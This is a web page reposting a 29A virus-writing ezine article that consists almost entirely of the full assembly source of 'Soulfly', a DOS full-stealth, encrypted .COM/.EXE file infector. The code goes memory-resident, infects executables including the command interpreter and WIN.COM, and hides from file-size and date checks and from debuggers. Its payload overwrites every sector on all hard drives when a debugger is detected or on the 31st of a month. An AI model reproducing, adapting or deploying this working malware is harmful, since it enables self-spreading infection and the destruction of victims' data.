Copy Link
Add to Bookmark
Report

29A Issue 03 05 09

eZine's profile picture
Published in 
29A
 · 4 years ago

  

;============================================================================
;
;
; NAME: Soulfly v1.00
; TYPE: Full-stealth variable encrypting .COM & .EXE-infector.
; SIZE: 2000 bytes.
; OS: DOS.
; CPU: 286+
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: December 1998 - January 1999.
; PAYLOAD: But ofcourse, disktrashing.
;
;
; - Full-stealth (network/Win95 compatible).
; - Variable encrypted in files (including hostbytes).
; - Disables stealth during execution archivers/disktools.
; - Goes resident in UMB-area if available.
; - Infects files pointed to COMSPEC and WINDIR-variables.
; - Anti-debugger/tracer/disassembler/emulator tricks.
; - Passes sanity-checks.
; - Highly destructive payload, no sector is safe.
;
;
; "I'LL MAKE YOU BLEED AND YOU'RE BLEEDING NOW!! MUTHAFUCKA!!"
;
;============================================================================


.MODEL TINY
.STACK Virus_Stack
.286
.CODE


Virus_Stack EQU 1024
Virus_Size EQU (Virus_End - Start)
Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 15) / 16
Res_Check_AX EQU 0DB66h
Res_Check_BX EQU 83FBh
Marker_Mem_AX EQU 1112h
Marker_Mem_BX EQU 1EE7h
Marker_File EQU 9AEAh
Century EQU 100 SHL 1
Encrypted_Size EQU (End_Encrypted - Encrypted)


START:
PUSH DS ; Save PSP of our host.

CALL Get_Delta

Anti_Disasm: DB 0EAh

Get_Delta: POP DS ; Use a segment-register so
; F-Prot won't yell.
MOV SI, DS

SUB SI, (Anti_Disasm - Start)

PUSH CS
POP DS

MOV AX, 0 ; Initial decryption-key.
Init_Key = WORD PTR $-2

MOV BX, OFFSET End_Encrypted - 2
MOV CX, (Encrypted_Size / 2)

Decrypt_Word: XOR [SI+BX], AX ; Decrypt a word.

DEC BX ; Next (previous) word.
DEC BX

ADD AX, 0 ; Key-slider, to fuck X-Rays.
Slide_Key = WORD PTR $-2

JMP Loop_Decrypt ; Reload that prefetch-que!

DB 9Ah

IF (($ - Start) MOD 2) EQ 1
DB -1
ENDIF

Loop_Decrypt: LOOP Decrypt_Word

Encrypted: CALL Anti_Debugger

AND DI, CX ; Zero DI.
JZ Do_Res_Check

DB 0EAh

Do_Res_Check: MOV AX, Res_Check_AX ; Residency-check.
MOV BX, Res_Check_BX
INT 21h

CMP AX, Marker_Mem_AX ; We're already up there?
JNE Make_Virus_TSR

CMP BX, Marker_Mem_BX ; Double-check.
JNE Make_Virus_TSR

JMP_Exec_Host: JMP Exec_Host

Make_Virus_TSR: MOV AX, 5802h ; Get UMB link state.
INT 21h
JC Try_Alloc_Mem

CBW ; Save link state on stack.
PUSH AX

MOV AX, 5803h ; Link UMB-chain.
PUSH AX
MOV BX, 01h
INT 21h
JC Try_Alloc_Mem

INC CX

MOV AX, 5800h ; Get allocation strategy.
INT 21h
JC Try_Alloc_Mem

PUSH AX ; Save strategy on stack.

MOV AX, 5801h ; Set allocation strategy,
PUSH AX ; First fit, start with UMBs.
MOV BL, 80h
INT 21h
JC Try_Alloc_Mem

INC CX

Try_Alloc_Mem: MOV AH, 48h ; Try to allocate memory...
MOV BX, Virus_Size_Mem
INT 21h
JNC Copy_Virus_Up

MOV AH, 4Ah ; Get total size of block.
MOV BX, 0FFFFh
INT 21h

MOV AH, 4Ah ; Resize block, so there's
SUB BX, Virus_Size_Mem + 1 ; room for the virus.
INT 21h

JMP Try_Alloc_Mem

Trash_Text DB 'SOULFLY, FLY FREE!', 0Ah, 0Dh, '$'

Copy_Virus_Up: MOV ES, AX ; Our allocated block.

DEC AX ; MCB of allocated block.
MOV DS, AX

MOV [DI.MCB_PSP], 08h ; Block doesn't have a PSP.
MOV [DI.MCB_Program], 'CS' ; Used by the system.

JCXZ Do_Copy_Up

DEC CX
JZ Restore_Link

Restore_Alloc: POP AX ; Restore original allocation
POP BX ; strategy.
INT 21h

Restore_Link: POP AX ; Restore UMB link state.
POP BX
INT 21h

Do_Copy_Up: PUSH SI

MOV CX, (Virus_Size / 2) ; Copy virus to allocated
CLD ; segment.
SEGCS
REP MOVSW

POP SI

PUSH ES
POP DS

MOV Active_Switch, CX

JCXZ Get_Int13h ; To confuse some analyzers.

DB 9Ah

Get_Int13h: MOV AX, 3513h ; Get address INT 13h for
INT 21h ; payload-routine.

MOV Int13h, BX ; Save it.
MOV Int13h+2, ES

MOV AL, 21h ; Get address INT 21h.
INT 21h

MOV Int21h, BX ; Save it.
MOV Int21h+2, ES

MOV AH, 25h ; Chain our own handler.
MOV DX, OFFSET NewInt21h
INT 21h

CALL Infect_ComSpec

Exec_Host: PUSH CS
POP DS

ADD SI, OFFSET Host_Bytes

CALL Crypt_Header

POP ES ; PSP of current process.

XOR AX, AX
XOR BX, BX
CWD

CALL Check_4_EXE ; This host is a .EXE-file?
JE Exec_Host_EXE

Exec_Host_COM: MOV DI, 100h - 1 ; Restore original entry-
INC DI ; bytes of our host.
PUSH DI
MOV CL, 24 / 2
CLD
REP MOVSW

PUSH ES
POP DS

XOR SI, SI
XOR DI, DI

RETN

Exec_Host_EXE: MOV CX, ES ; Calculate effective
ADD CX, 10h ; segment.

ADD [SI.Program_CS], CX

ADD CX, [SI.Program_SS]

PUSH ES
POP DS

MOV SS, CX
MOV SP, CS:[SI.Program_SP]

XOR CX, CX
XOR DI, DI

JMP DWORD PTR CS:[SI.Program_IP]


Anti_Debugger:
POP DI ; POP return-address.

CMP BYTE PTR CS:[DI], 0CCh ; Debugger breakpoint?
JE Payload

CLI ; Stack-checker, to detect
PUSH AX ; debuggers and single-step
POP AX ; tracers such as TBClean.
DEC SP
DEC SP
POP BX
STI

CMP AX, BX ; They're the same?
JNE Payload ; Else fuck him over.

JMP DI


; NO HOPE = NO FEAR
Payload:
PUSH CS
POP DS

PUSH CS
POP ES

MOV BX, OFFSET Trash_Text
MOV CX, 01h
MOV DX, 80h

Trash_Loop: XOR AH, AH ; Reset drive.
CALL OldInt13h

MOV AX, 033Fh ; Trash track with garbage.
CALL OldInt13h

ADD CH, CL ; Take all tracks.
ADC DH, 0 ; Take all heads.
ADC DL, 0 ; Take all drives.

PUSH DX

MOV AH, 09h ; Let them know what hit 'em.
MOV DX, OFFSET Trash_Text
CALL OldInt21h

POP DX

JMP Trash_Loop


IRC_Hint DB '<Soulfly->', 0


NewInt21h:
JMP $+666h
Active_Switch = WORD PTR $-2

Chk_Stealth_F: CMP AH, 11h - 1 ; Findfirst (FCB) ?
JBE Chk_Stealth_H

CMP AH, 12h ; Findnext (FCB) ?
JA Chk_Stealth_H

Stealth_Size_F: CALL OldInt21h

PUSHF
PUSHA
PUSH DS
PUSH ES

OR AL, AL ; Abort if error.
JNZ JMP_RETF2_Exit

CALL Get_DTA

CMP DS:[BX.FCB_Drive], -1 ; Test for an extended FCB.
JNE FCB_Format_OK

ADD BX, 07h ; Coz we don't need it.

FCB_Format_OK: CMP BYTE PTR DS:[BX.FCB_Date+1], AL
JB RETF2_Exit

SUB BYTE PTR DS:[BX.FCB_Date+1], AL

SUB DS:[BX.FCB_Size], Virus_Size
SBB DS:[BX.FCB_Size+2], DX

JMP_RETF2_Exit: JMP RETF2_Exit

Chk_Stealth_H: CMP AH, 4Eh ; Findfirst (handle) ?
JB Chk_Stealth_W

CMP AH, 4Fh ; Findnext (handle) ?
JA Chk_Stealth_W

Stealth_Size_H: CALL OldInt21h ; Execute the function.

PUSHF
PUSHA
PUSH DS
PUSH ES
JC RETF2_Exit

CALL Get_DTA

CMP BYTE PTR DS:[BX.Handle_Date+1], AL
JB RETF2_Exit

SUB BYTE PTR DS:[BX.Handle_Date+1], AL

SUB DS:[BX.Handle_Size], Virus_Size
SBB DS:[BX.Handle_Size+2], DX

JMP RETF2_Exit

Chk_Stealth_W: CMP AX, 714Eh ; Findfirst (Win95) ?
JB Chk_Stealth_Re

CMP AX, 714Fh ; Findnext (Win95) ?
JA Chk_Stealth_Re

.386 ; This routine will only be
; called in Win95, which is
; 386+.
Stealth_Size_W: CALL OldInt21h

PUSHF
PUSHA
PUSH DS
PUSH ES
JC RETF2_Exit

PUSH ES
POP DS

MOV DH, BYTE PTR DS:[DI.Win95_Date+1]

DEC SI ; Stamp is in DOS-format?
JZ Is_DOS_Format

PUSH SI

MOV AX, 71A7h ; Convert Win95-format to
XOR BL, BL ; DOS-format.
LEA SI, DS:[DI.Win95_Time]
CALL OldInt21h

POP SI

Is_DOS_Format: CMP DH, Century ; This file is infected?
JB RETF2_Exit

; Restore original filesize.

SUB DS:[DI.Win95_Size_Lo], LARGE Virus_Size
SBB DS:[DI.Win95_Size_Hi], 0

INC SI
JZ RETF2_Exit

SUB BYTE PTR DS:[DI.Win95_Date+1], Century

RETF2_Exit: POP ES
POP DS
POPA
POPF

RETF 2

.286 ; Back to 80286-mode.

Chk_Stealth_Re: CMP AH, 3Fh ; Read file?
JE Stealth_Read

JMP Chk_Seek_EOF

Stealth_Read: PUSHF
PUSHA
PUSH DS
PUSH ES

MOV CS:Bytes_To_Read, CX
MOV CS:Read_Buffer, DX

CALL Check_Handle
JS JMP_Exit_Abort
JNB File_Infected

JMP_Exit_Abort: JMP Exit_Abort

File_Infected: CALL Save_File_Pos

ADD AX, 0 ; Calculate end-position of
Bytes_To_Read = WORD PTR $-2 ; the caller's read.
ADC DX, CX

XCHG SI, AX ; Save it in DI:SI.
MOV DI, DX

CALL Go_EOF

SUB AX, Virus_Size ; Calculate uninfected size.
SBB DX, CX

CMP DI, DX ; Read reaches virusbody?
JB Not_In_Body
JA In_Body

CMP SI, AX
JNA Not_In_Body

In_Body: PUSH AX
PUSH DX

CALL Restore_File_Pos

POP DI ; Size uninfected.
POP SI

SUB SI, AX ; Calculate amount of bytes
; to read.
MOV CX, SI

JMP Do_Read

Not_In_Body: MOV CX, CS:Bytes_To_Read

Do_Read: PUSHA

CALL Restore_File_Pos

POPA

MOV DX, 0 ; Do the stealthed read.
Read_Buffer = WORD PTR $-2
CALL Read_File

JC RETF2_Exit

MOV [BP.Reg_AX], AX ; Store amount of bytes read.

PUSH AX

CALL Save_File_Pos

PUSH AX
PUSH DX

PUSH DS
POP ES

CALL Seek_Header

CALL Read_Header

CALL Crypt_Header

POP DX ; Position after read.
POP AX

POP CX

SUB AX, CX ; Pos readstart
SBB DX, 0

JNZ Exit_St_Read ; They read from the header?

CMP AX, 24
JNB Exit_St_Read

ADD CX, AX ; Calculate end-offset read.
JC Header_End

CMP CX, 24
JNA Read_St_Header

Header_End: MOV CX, 24

Read_St_Header: SUB CX, AX ; Calculate amount of bytes
; to stealth from header.
ADD SI, AX

MOV DI, Read_Buffer

CLD ; Copy the clean header into
REP MOVSB ; the caller's buffer.

Exit_St_Read: CALL Restore_File_Pos

JMP_RETF2_E: JMP RETF2_Exit

Restore_Abort: CALL Restore_File_Pos

Exit_Abort: POP ES
POP DS
POPA
POPF

Chk_Seek_EOF: CMP AX, 4202h ; Seek to EOF ?
JNE Chk_Stealth_Wr

Stealth_Seek: CALL OldInt21h

PUSHF
PUSHA
PUSH DS
PUSH ES
JC Exit_S_Seek

CALL Check_Handle
JS Exit_S_Seek
JB Exit_S_Seek

MOV AX, 4201h
MOV CX, -1
MOV DX, -Virus_Size
CALL OldInt21h

MOV [BP.Reg_AX], AX
MOV [BP.Reg_DX], DX

Exit_S_Seek: JMP JMP_RETF2_E

Chk_Stealth_Wr: CMP AH, 40h ; Write file?
JNE Chk_Debugger

Stealth_Write: CALL Check_Clean

Chk_Debugger: CMP AX, 4B01h
JNE Chk_Stealth_St

Clean_File: PUSHA

MOV AX, 3D92h
CALL OldInt21h
JC Exit_Clean_F

XCHG BX, AX

CALL Check_Clean

MOV AH, 3Eh
CALL OldInt21h

Exit_Clean_F: POPA

Chk_Stealth_St: CMP AX, 5700h ; Get filedate & time?
JNE Chk_Disk_Tool

Stealth_Stamp: CALL OldInt21h

PUSHF
JC Exit_Get_Stamp

CMP DH, Century
JB Exit_Get_Stamp

SUB DH, Century

Exit_Get_Stamp: POPF

RETF 2


Chk_Disk_Tool: CMP AH, 1Fh ; Get default DPB ?
JE Set_Inactive

CMP AH, 32h ; Get DPB ?
JNE Check_4_Exec

Set_Inactive: MOV CS:Active_Switch, (Inactive - Active_Switch) - 2

JMP Check_4_Exec

DB 9Ah

Check_4_Exec: CMP AX, 4B00h ; Program execute?
JE Init_Execute

CMP AH, 3Dh ; Open file?
JE Check_Infect

CMP AX, 6C00h ; Extended open?
JE Check_Infect

CMP AH, 41h ; Delete file?
JE Check_Infect

Inactive: CMP AH, 4Ch ; Program terminate (PSP) ?
JE Enable_Stealth

CMP AH, 31h ; Terminate & stay resident?
JE Enable_Stealth

OR AH, AH ; Program terminate (CS) ?
JNZ Check_4_Res

Enable_Stealth: AND CS:Active_Switch, 0

Check_4_Res: CMP AX, Res_Check_AX
JNE JMP_Int21h

CMP BX, Res_Check_BX
JE Return_Marker

JMP_Int21h: DB 0EAh ; JMP FAR opcode.
Int21h DW 0, 0


; Check if the call was made by the virus, if not, call the payload.
Return_Marker:
PUSHA
PUSH ES

PUSH CS
POP ES

MOV DI, OFFSET Encrypted
ADD SI, DI
MOV CX, (Exec_Host - Encrypted)
CLD
REPE CMPSB

POP ES
POPA

JE Caller_Is_OK

JMP Payload

Caller_Is_OK: MOV AX, Marker_Mem_AX
MOV BX, Marker_Mem_BX

IRET


Init_Execute:
PUSHA
PUSH DS
PUSH ES

MOV AH, 2Ah ; Get system-date.
CALL OldInt21h

CMP DL, 31 ; 31st of any month?
JB No_Activate

MOV AH, 2Ch ; Get system-time.
CALL OldInt21h

OR CL, CL ; We're in the first minute?
JNZ No_Activate

JMP Payload

No_Activate: MOV SI, OFFSET Archivers ; A known archiver is about
CALL Scan_Line ; to get executed?
JNE Exit_Init_Exec

; === Then temporarily disable stealth & infection. ===

MOV CS:Active_Switch, (Inactive - Active_Switch) - 1

Exit_Init_Exec: POP ES
POP DS
POPA

Check_Infect: PUSHA
PUSH DS
PUSH ES

CALL Anti_Debugger

CALL Hook_Int24h

CMP AX, 6C00h ; Extended open?
JNE Check_Ext

MOV DX, SI ; Then adjust register.

Check_Ext: MOV SI, DX

Find_End_Str: CLD ; Find end of ASCIIZ-string.
LODSB

OR AL, AL
JNZ Find_End_Str

MOV AX, [SI-2]
CALL Make_Uppercase

XCHG BX, AX

MOV AX, [SI-4]
CALL Make_Uppercase

Check_Ext_COM: CMP AX, 'OC' ; .COM-extension?
JNE Check_Ext_EXE

CMP BL, 'M'
JE Save_File_Attr

Check_Ext_EXE: CMP AX, 'XE' ; .EXE-extension?
JNE JMP_Exit_Inf

CMP BL, AL
JE Save_File_Attr

JMP_Exit_Inf: JMP Exit_Infect

Save_File_Attr: MOV CS:File_Name, DX ; Save filename.
MOV CS:File_Name+2, DS

MOV AX, 4300h ; Get file-attributes.
PUSH AX
CALL OldInt21h
POP AX
JC JMP_Exit_Inf

MOV CS:File_Attr, CX ; Save 'em.

INC AX ; Remove readonly-flag.
AND CL, NOT 00000001b
CALL OldInt21h
JC JMP_Exit_Inf

Open_Candidate: MOV AX, 3D92h ; Open the candidate-file.
CALL OldInt21h
JNC File_Opened

JMP Restore_Attr

File_Opened: XCHG BX, AX

CALL Check_Handle
JS Abort_Infect
JNB Abort_Infect

PUSH CS
POP ES

CALL Read_Header
JC Abort_Infect

CMP [SI.Checksum], Marker_File
JE Abort_Infect

Check_Min_Size: CALL Go_EOF

OR DX, DX
JNZ Not_Too_Small

CMP AX, 560
JB Abort_Infect

Not_Too_Small: CALL Check_4_EXE
JE Chk_4_Overlay

Check_COM: OR DX, DX
JNZ Abort_Infect

CMP AX, (65535 - (Virus_Size + 1024))
JB Chk_4_Inf_Date

JMP Abort_Infect

Chk_4_Overlay: CALL Div_512_Pages

CMP AX, [SI.Image_512_Pages]
JNE Abort_Infect

CMP DX, [SI.Image_Mod_512]
JNE Abort_Infect

Check_4_NE_PE: CMP [SI.Reloc_Table], 40h ; It's a possible NE/PE-file?
JB Chk_4_Inf_Date

MOV AX, 4200h ; Seek to the NE/PE-header.
MOV CX, [SI+3Ch+2]
MOV DX, [SI+3Ch]
CALL OldInt21h

MOV CX, 2
LEA DX, [SI+3Ch]
CALL Read_File

CMP [SI+3Ch], 'EN' ; Avoid NE-files.
JE Abort_Infect

CMP [SI+3Ch], 'EP' ; Avoid PE-files.
JE Abort_Infect

Chk_4_Inf_Date: CALL Save_File_Stamp
JB Infect_File

Abort_Infect: JMP Close_File_Inf

Infect_File: PUSH SI

MOV DI, OFFSET Host_Bytes
PUSH DI
MOV CX, 24 / 2
CLD
REP MOVSW

POP SI

IN AX, 40h
MOV [SI.Header_Key], AX

IN AX, 40h
MOV [SI.Header_Slider], AX

CALL Crypt_Header

IN AX, 40h
MOV Slide_Key, AX

XCHG DX, AX

IN AX, 40h
MOV Init_Key, AX

XOR SI, SI
MOV DI, OFFSET Buffer
PUSH DI
MOV CX, Virus_Size
PUSH CX
CLD
REP MOVSB

MOV SI, OFFSET Buffer + ((End_Encrypted - Start) - 2)

MOV CX, (Encrypted_Size / 2)

Encrypt_Word: XOR [SI], AX
ADD AX, DX

DEC SI
DEC SI

LOOP Encrypt_Word

CALL Go_EOF

XCHG BP, AX
MOV DI, DX

POP CX
POP DX
CALL Write_File

POP SI

JC Close_File_Inf

CALL Check_4_EXE ; We're infecting an .EXE ?
JE Infect_EXE

Infect_COM: SUB BP, 3 ; Calculate JMP-displacement.

MOV [SI.Jump], 0E9h ; JMP opcode.
MOV [SI.Displacement], BP ; Pointing to the viruscode.

JMP Set_Header

Infect_EXE: PUSH BP
PUSH DI

MOV AX, [SI.Header_Size_Mem]
MOV CX, 16
MUL CX

XCHG BP, AX ; Headersize in bytes.
MOV DI, DX

POP DX
POP AX

SUB AX, BP ; Calculate size of image.
SBB DX, DI

MOV CL, 16 ; Calculate new CS:IP.
DIV CX

MOV [SI.Program_CS], AX
MOV [SI.Program_IP], DX

ADD AX, ((Virus_Size + 15) / 16)

MOV [SI.Program_SS], AX
MOV [SI.Program_SP], Virus_Stack

CALL Div_512_Pages

MOV [SI.Image_512_Pages], AX
MOV [SI.Image_Mod_512], DX

ADD [SI.Min_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)

ADD [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)
JNC Set_Header

SUB [SI.Max_Size_Mem], Virus_Size_Mem + (Virus_Stack / 16)

Set_Header: MOV [SI.Checksum], Marker_File

CALL Write_Header

ADD BYTE PTR File_Date+1, Century

CALL Restore_File_Stamp

Close_File_Inf: MOV AH, 3Eh ; Close file.
CALL OldInt21h

Restore_Attr: MOV AX, 4301h - 1 ; Restore original file-
INC AX ; attributes.
MOV CX, 0
File_Attr = WORD PTR $-2
LDS DX, DWORD PTR CS:File_Name
CALL OldInt21h

Exit_Infect: CALL Unhook_Int24h

POP ES
POP DS
POPA

JMP JMP_Int21h


OldInt13h:
PUSHF
DB 9Ah
Int13h DW 0, 0

RETN


Div_512_Pages:
CALL Go_EOF

MOV CH, 512 SHR 8 ; Divide in 512-byte pages.
DIV CX

OR DX, DX ; No rest?
JZ Exit_Div_512

INC AX ; Else round to next 512.

Exit_Div_512: RETN


Author DB 'T-2000 / Immortal Riot', 0


Save_File_Stamp:

MOV AX, 5700h
CALL OldInt21h

MOV CS:File_Time, CX
MOV CS:File_Date, DX

CMP DH, Century

RETN


Restore_File_Stamp:

MOV AX, 5701h
MOV CX, 0
File_Time = WORD PTR $-2
MOV DX, 0
File_Date = WORD PTR $-2
JMP OldInt21h


Go_BOF:
MOV AX, 4200h
JMP Set_Pos


Go_EOF:
MOV AX, 4202h
Set_Pos: XOR CX, CX
CWD

OldInt21h: PUSHF
CALL DWORD PTR CS:Int21h

RETN


; DS:DX = line.
; CS:SI = table.
Scan_Line:
PUSHA

PUSH CS
POP ES

PUSH SI

MOV SI, DX

Find_End_Line: CLD
LODSB

OR AL, AL
JNZ Find_End_Line

DEC SI

MOV CX, SI

Find_Filename: STD
LODSB

CMP AL, '\'
JE Found_Filename

LOOP Find_Filename

JMP Adjust_DI

Found_Filename: INC SI
INC SI

CMP SI, DX ; No path was supplied?
JA Offset_OK

Adjust_DI: MOV SI, DX ; Then adjust DI.

Offset_OK: MOV DI, OFFSET Filename_Buffer
MOV CX, 12

PUSH DI

CLD

Conv_Filename: LODSB

CALL Make_Uppercase

STOSB

LOOP Conv_Filename

POP DI
POP SI

Comp_Filename: SEGCS
LODSB

CBW
XCHG CX, AX

CMP CX, DI ; NZ

JCXZ Exit_Scan_Line

PUSHA

SEGCS
REPE CMPSB

POPA

PUSHF

ADD SI, CX

POPF

JE Exit_Scan_Line

JMP Comp_Filename

Exit_Scan_Line: POPA

CLD

RETN



; DS:SI = Header.
Crypt_Header:
PUSHA
PUSH ES

PUSH CS
POP ES

MOV DI, SI

MOV BX, [SI.Header_Key]
MOV DX, [SI.Header_Slider]

MOV CL, (24 / 2)

Copy_Crypt_W: CLD
LODSW

XOR AX, BX

ROR BX, CL

ADD BX, DX

STOSW

LOOP Copy_Crypt_W

LODSW
STOSW

LODSW
STOSW

POP ES
POPA

RETN


Archivers DB 09, 'PKZIP.EXE'
DB 07, 'ARJ.EXE'
DB 07, 'LHA.EXE'
DB 07, 'RAR.EXE'
DB 10, 'BACKUP.EXE'
DB 07, 'FTP.EXE'
DB 0


Get_DTA:
MOV AX, 2F00h + Century
CALL OldInt21h

PUSH ES
POP DS

CWD ; Zero DX.

RETN



Check_Clean:
PUSHF
PUSHA
PUSH DS
PUSH ES

CALL Hook_Int24h

CALL Check_Handle
JS Exit_Clean_H
JB Exit_Clean_H

CALL Save_File_Pos

CALL Seek_Header

CALL Read_Header

CALL Crypt_Header

CALL Write_Header

MOV AX, 4202h
MOV CX, -1
MOV DX, -Virus_Size
CALL OldInt21h

INC CX ; Cut-off virusbody.
CALL Write_File

CALL Restore_File_Pos

SUB BYTE PTR File_Date+1, Century

CALL Restore_File_Stamp

Exit_Clean_H: CALL Unhook_Int24h

POP ES
POP DS
POPA
POPF

RETN


Hook_Int24h:
PUSHA
PUSH DS

PUSH CS
POP DS

MOV AX, 3524h
CALL OldInt21h

MOV Int24h, BX
MOV Int24h+2, ES

MOV AH, 25h
MOV DX, OFFSET NewInt24h
CALL OldInt21h

POP DS
POPA

RETN


Unhook_Int24h:
MOV AX, 2524h
LDS DX, DWORD PTR CS:Int24h
JMP OldInt21h


NewInt24h:
MOV AL, 03h

IRET


Save_File_Pos:
MOV AX, 4201h
XOR CX, CX
CWD
CALL OldInt21h

MOV CS:File_Pos_Lo, AX
MOV CS:File_Pos_Hi, DX

RETN


Restore_File_Pos:

MOV AX, 4200h
MOV CX, 0
File_Pos_Hi = WORD PTR $-2
MOV DX, 0
File_Pos_Lo = WORD PTR $-2
JMP OldInt21h


Seek_Header:
MOV AX, 4202h
DEC CX
MOV DX, -28
JMP OldInt21h


Read_Header:
PUSH CS
POP DS

MOV SI, OFFSET Header

MOV CX, 40h
MOV DX, SI
CALL Read_File
JC Exit_Read_Hdr

CMP AX, CX

Exit_Read_Hdr: RETN


Read_File:
MOV AH, 3Fh
JMP OldInt21h


Write_Header:
CALL Go_BOF

MOV CL, 24 ; Write updated header.
MOV DX, SI

Write_File: MOV AH, 40h
JMP OldInt21h



; Converts characters in AX to uppercase.
Make_Uppercase:
CMP AL, 'a'
JB Check_Upper_AH

CMP AL, 'z'
JA Check_Upper_AH

SUB AL, 'a' - 'A'

Check_Upper_AH: CMP AH, 'a'
JB Exit_Uppercase

CMP AH, 'z'
JA Exit_Uppercase

SUB AH, 'a' - 'A'

Exit_Uppercase: RETN



Check_Handle:
XOR SI, SI

MOV AX, 4400h
CALL OldInt21h

OR DL, DL
JS Exit_Chk_File

CALL Save_File_Stamp

MOV BP, SP

INC BP
INC BP

INC SI

Exit_Chk_File: RETN


Infect_ComSpec:
PUSHA

PUSH DS
POP ES

MOV AH, 62h ; Get current PSP.
INT 21h

XOR SI, SI

MOV DS, BX
MOV DS, DS:[SI+2Ch]

Comp_Env_Var: CMP DS:[SI], CL ; End of settings reached?
JZ Exit_Inf_ComSpec

MOV AX, DS:[SI+5]
CALL Make_Uppercase

XCHG BX, AX

MOV AX, DS:[SI]
CALL Make_Uppercase

CMP AX, 'OC' ; Look for 'COMSPEC='.
JNE Test_4_Win_Dir

CMP BX, 'CE'
JNE Test_4_Win_Dir

Found_ComSpec: MOV AX, 3D00h ; Infect command-interpreter.
LEA DX, [SI+8]
INT 21h

Test_4_Win_Dir: CMP AX, 'IW' ; Look for 'WINDIR='.
JNE Get_Next_Var

CMP BX, '=R'
JNE Get_Next_Var

PUSH SI

ADD SI, 7
MOV DI, OFFSET Filename_Buffer

MOV DX, DI

Copy_Byte_W_D: CLD
LODSB

OR AL, AL
JZ Win_Dir_Copied

STOSB

JMP Copy_Byte_W_D

Win_Dir_Copied: PUSH DS

PUSH ES
POP DS

MOV SI, OFFSET Win95_Init
MOV CL, 9
REP MOVSB

MOV AH, 3Dh ; Infect WIN.COM.
INT 21h

POP DS

POP SI

Get_Next_Var: CLD

Find_Next_Var: LODSB

OR AL, AL
JNZ Find_Next_Var

JMP Comp_Env_Var

Exit_Inf_ComSpec:

POPA

RETN


DB 0EAh

Check_4_EXE:
CMP [SI.EXE_Mark], 'ZM'

RETN


Win95_Init DB '\WIN.COM', 0


IF (($ - Start) MOD 2) EQ 1
DB 0
ENDIF


End_Encrypted:

Host_Bytes DW 'ZM'
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW 0
DW OFFSET Carrier
DW 0

DW 0
DW 0
Virus_End:

Int24h DW 0, 0
File_Name DW 0, 0

Header DB 40h DUP(0)

Filename_Buffer DB 32 DUP(0)

Buffer DB Virus_Size DUP(0)

Virus_End_Mem:

Carrier:
MOV AX, 4C00h
INT 21h



; ------------- SOME STRUCTURES ---------------------------------------------


COM_Header STRUC
Jump DB 0
Displacement DW 0
COM_Header ENDS


EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS


Encrypt_Header STRUC
DB 24 DUP(0)
Header_Key DW 0
Header_Slider DW 0
Encrypt_Header ENDS


Find_FN_Handle STRUC
Handle_Reserved DB 21 DUP(0)
Handle_Attr DB 0
Handle_Time DW 0
Handle_Date DW 0
Handle_Size DW 0, 0
Handle_Name DW 6 DUP(0)
DB 0
Find_FN_Handle ENDS


Find_FN_FCB STRUC
FCB_Drive DB 0
FCB_Name DB 8 DUP(0)
FCB_Ext DB 3 DUP(0)
FCB_Attr DB 0
FCB_Reserved DB 10 DUP(0)
FCB_Time DW 0
FCB_Date DW 0
FCB_Start_Clust DW 0
FCB_Size DW 0, 0
Find_FN_FCB ENDS


Push_All_Stack STRUC
Reg_ES DW 0
Reg_DS DW 0
Reg_DI DW 0
Reg_SI DW 0
Reg_BP DW 0
Reg_SP DW 0
Reg_BX DW 0
Reg_DX DW 0
Reg_CX DW 0
Reg_AX DW 0
Reg_Flags DW 0
Reg_Ret_Addr DW 0
Push_All_Stack ENDS


Find_FN_Win95 STRUC
Win95_Attr DD 0
Win95_Created DD 0, 0
Win95_Access DD 0, 0
Win95_Time DW 0
Win95_Date DW 0
DD 0
Win95_Size_Hi DD 0
Win95_Size_Lo DD 0
Win95_Reserved DB 8 DUP(0)
Win95_Win_Name DB 260 DUP(0)
Win95_DOS_Name DB 14 DUP(0)
Find_FN_Win95 ENDS


MCB_Header STRUC
MCB_Type DB 0 ; M = not last block, Z = last block.
MCB_PSP DW 0 ; PSP-segment of this block.
MCB_Size_Mem DW 0 ; Size of block in paragraphs.
MCB_Dunno DB 3 DUP(0) ; Don't care, don't need it.
MCB_Program DW 4 DUP(0) ; Filename of program of this block.
MCB_Header ENDS


END START

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT